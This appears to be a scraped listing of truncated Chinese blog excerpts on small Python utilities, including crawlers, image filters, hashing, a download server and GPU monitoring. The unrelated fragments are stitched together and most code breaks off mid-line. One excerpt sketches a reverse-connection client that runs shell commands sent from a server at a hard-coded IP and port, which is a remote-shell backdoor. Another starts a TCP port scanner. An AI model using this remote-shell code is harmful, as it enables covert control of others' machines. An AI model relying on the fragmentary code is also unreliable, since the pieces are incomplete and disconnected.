Python的爬虫框架主要可以分为以下五个部分: 爬虫调度器:用于各个模块之间的通信,可以理解为爬虫的入口与核心(main函数),爬虫的执行策略在此模块进行定义: URL管理器:负责URL的管理,包括带爬取和已爬取的URL.已经提供相应的接口函数(类似增删改查的函数) 网页下载器:负责通过URL将网页进行下载,主要是进行相应的伪装处理模拟浏览器访问.下载网页 网页解析器:负责网页信息的解析,这里是解析方式视具体需求来确定 信息采集器:负责将解析后的信息进行存储.显示等处理 代码示例是爬取CSDN

代码地址如下:http://www.demodashi.com/demo/12918.html python 趣味实用小工具 概述 用python实现的三个趣味实用小工具: 图片转Execl工具 , 图片转TXT工具 , 二维码生成工具 . 准备工作 系统需求 所有的代码都是基于 python3 的, 所以需要事先安装好 python3 ,并设置好环境. 安装方法详见: 廖雪峰Python3教程-安装Python3 官方安装教程-英文 安装必备库 注意: 安装过程中建议以管理员权限运行执行以下命

在这篇文章里,我们将会介绍4个Python解释器自身提供的小工具.这些小工具在笔者的日常工作中经常用到,减少了各种时间的浪费,然而,却很容易被大家忽略.每当有新来的同事看到我这么使用时,都忍不住感叹,原来Python还隐藏了这么好用的功能.下面就来看一下Python自带的几个小工具 python学习交流群:516107834 一.1秒钟启动一个下载服务器 在实际工作中,时不时会有这样的一个需求:将文件传给其他同事.将文件传给同事本身并不是一个很繁琐的工作,现在的聊天工具一般都支持文件传输.但是,

上图 代码 核心 编解码方面 Tkinter界面更新 总结 昨天被一同学告知,网上的一个QQ密码库中有我的一条记录,当时我就震惊了,赶紧换了密码.当然了,这件事也给了我一个警示,那就是定期的更换自己的QQ密码,会比较的安全. 然后就自己写了个密码保护的小工具.虽然我们没有必要写这么个程序,但是为了复习巩固一下之前学过的知识,还是做点什么吧. 上图 口令正确 口令错误 代码 本实验是基于Python来实现,使用Tkinter来写的界面. 以当前月份为算子来获取md5加密后的随机字符串来作为密码.

问题:做测试的朋友们经常会用到xmind这个工具来梳理测试点或写测试用例,但是xmind8没有自带的统计测试用例,其他版本的xmind有些自带节点数量统计功能,但也也不会累计最终的数量,导致统计测试工作量比较困难. 解决方法:利用python开发小工具,实现同一份xmind文件中一个或多个sheet页的用例数量统计功能. 一.源码 #!/usr/bin/env python # -*- coding:utf-8 -*- __author__ = 'zhongxintao' import tkin

代码 #-*-coding:utf-8-*- import os from tkinter import * root=Tk() root.title('小工具') #清空文本框内容 def clear(): text.delete('1.0','end') #执行 def show(): print('hello') text.insert('1.0', "hello\n") #文本信息 def insert_text(msg): text.insert(INSERT,'%s'%ms

这是我最近接的一个小项目,花了是整整四天多时间. 任务是将http://www.examcoo.com/index/detail/mid/7网站下所有的试卷里的试题全部提取出来,首先按照题型进行分类,接着分析出题目的类型 类别 来源 出题时间等等信息,最终将这些信息转化到excel表格中,excel中的数据有着统一的格式.其中有些信息有关医学,故而需要自行了解. 由于仅仅是是为了完成最终的任务,故而没有使用什么爬虫框架之类的,也没有使用什么数据库来保存数据,尽量做到快速高效,因为你用的东西越多越

<背景>  滤镜处理是图像处理中一种非常常见的方法.比如photoshop中的滤镜效果,除了自带的滤镜,还扩展了很多第三方的滤镜效果插件,可以对图像做丰富多样的变换:很多手机app实现了实时滤镜功能,最有名的当属Instagram. PIL中主要涉及到卷积滤镜,其原理是针对数字图像的像素矩阵,使用一个nxn的方形矩阵做滤波器(即卷积核kernel,常见的如3x3,5x5等),对该图像像素进行卷积遍历(即截取和卷积核同等大小的像素矩阵进行卷积运算),每一个输出像素都是一定区域像素按一定权重组合计

平时工作经常需要做些图像分析,需要给图像分通道,计算各个通道的直方图分布特点,这个事儿photoshop也能做,但是用起来不方便,且需要电脑上安装有PS软件,如果用OpenCV, 更是需要在visual studio上做很多配置工作.本文充分利用python的便携性和轻量级特点,力图实现一个脚本,到处处理的目标. 注:本文使用Python2.7.8和PIL1.1.7,注意版本问题. <使用方法> 1.将待处理图片命名为1.jpg和本文python脚本文件放入同一文件夹: 2.运行python脚

---恢复内容开始--- You-Get    You-Get is a tiny command-line utility to download media contents (videos, audios, images) from the Web, in case there is no other handy way to do it. Here's how you use you-get to download a video from this web page: you-get

python -m http.server # 启动一个下载服务器 echo '{"job": "developer", "job": "developer", "job": "developer"}' | python -m json.tool # 字符串转为json对象 python -c "import paraiko" # 检测第三方库是否安装成功

工具压缩包链接 密码:zbef 1.将压缩包放到linux的任意目录下,执行:tar zxvf lrzsz-0.12.20.tar.gz 解压压缩包 2.cd lrzsz-0.12.20 3../configure --prefix=/usr/local/lrzsz 4.make 5.make install 6.cd /usr/bin 7.ln -s /usr/local/lrzsz/bin/lrz rz 8.ln -s /usr/local/lrzsz/bin/lsz sz 安装完成. 使用

File1: sha1.py File2: sha1.bat ------------------ File1: sha1.py import hashlib import os,sys def CalcSha1(filepath): with open(filepath,'rb') as f: sha1obj = hashlib.sha1(); print '>', while(True): data = f.read(20971520) #20M print '.', if (data ==

  上一节介绍了python PIL库自带的10种滤镜处理,现成的库函数虽然用起来方便,但是对于图像处理的各种实际需求,还需要开发者开发自定义的滤镜算法.本文将给大家介绍如何使用PIL对图像进行自定义的像素级操作.   本文以剪纸风格图像处理作为例子:(算法借鉴了残阳似血的博客http://qinxuye.me/,特此鸣谢.) 原图:   处理后:    1.首先将处理参数预先设定好.设定阈值threshold,该阈值会用来区分作为目标颜色的前景色和将要被去除掉的的背景色的分界线.同时设置处理后

构思: client:反向连接server,执行shell命令 server:发送命令,控制客户端 import subprocess import socket import threading target="172.22.40.41" port=55555 buffer="" def sendMag(c_socket): global buffer while True: #send cmd if len(buffer): try: print "c

python 2.7版本下可以运行 import urllib2 def getHtml(url): response = None requset = None headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-us; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6'} try: requset = urllib2.Request(url,headers = headers

下载视频: 1 from bs4 import BeautifulSoup 2 import requests 3 import re 4 import urllib 5 6 7 def callbackfunc(blocknum, blocksize, totalsize): 8 '''回调函数 9 @blocknum: 已经下载的数据块 10 @blocksize: 数据块的大小 11 @totalsize: 远程文件的大小 12 ''' 13 percent = 100.0 * block

http://www.centoscn.com/image-text/install/2013/0819/1374.html

<背景> 这次分享的脚本是对图像进行增强处理,包含对图像像素的色彩增强.亮度增强.对比度增强.图像尖锐化等增强操作,主要基于PIL包的lambda和ImageEnhance模块. 使用方法和上一贴一样,本文脚本进行了多项功能的集成,一键完成所有处理,图像会即刻显示处理后的效果,并全部保存成特定名称jpeg. 下图是对处理后的图片的二维比较,为了更直观地比较,将处理项(亮度,颜色,对比度,锐度)作为横坐标,处理强度参数作为纵坐标(0,0.25,0.5,0.75,1).当处理强度参数为1的时候,实

安装 pip install gpustat 或者 换源 pip install -i https://pypi.tuna.tsinghua.edu.cn/simple --upgrade gpustat 使用 gpustat -cpu 或者 watch --color -n1 gpustat -cpu 显示输出

通过端口扫描我们可以知道目标主机都开放了哪些服务,下面通过TCP connect来实现一个TCP全连接端口扫描器. 一个简单的端口扫描器 #!/usr/bin/python3 # -*- coding: utf-8 -*- from socket import * def portScanner(host,port): try: s = socket(AF_INET,SOCK_STREAM) s.connect((host,port)) print('[+] %d open' % port) s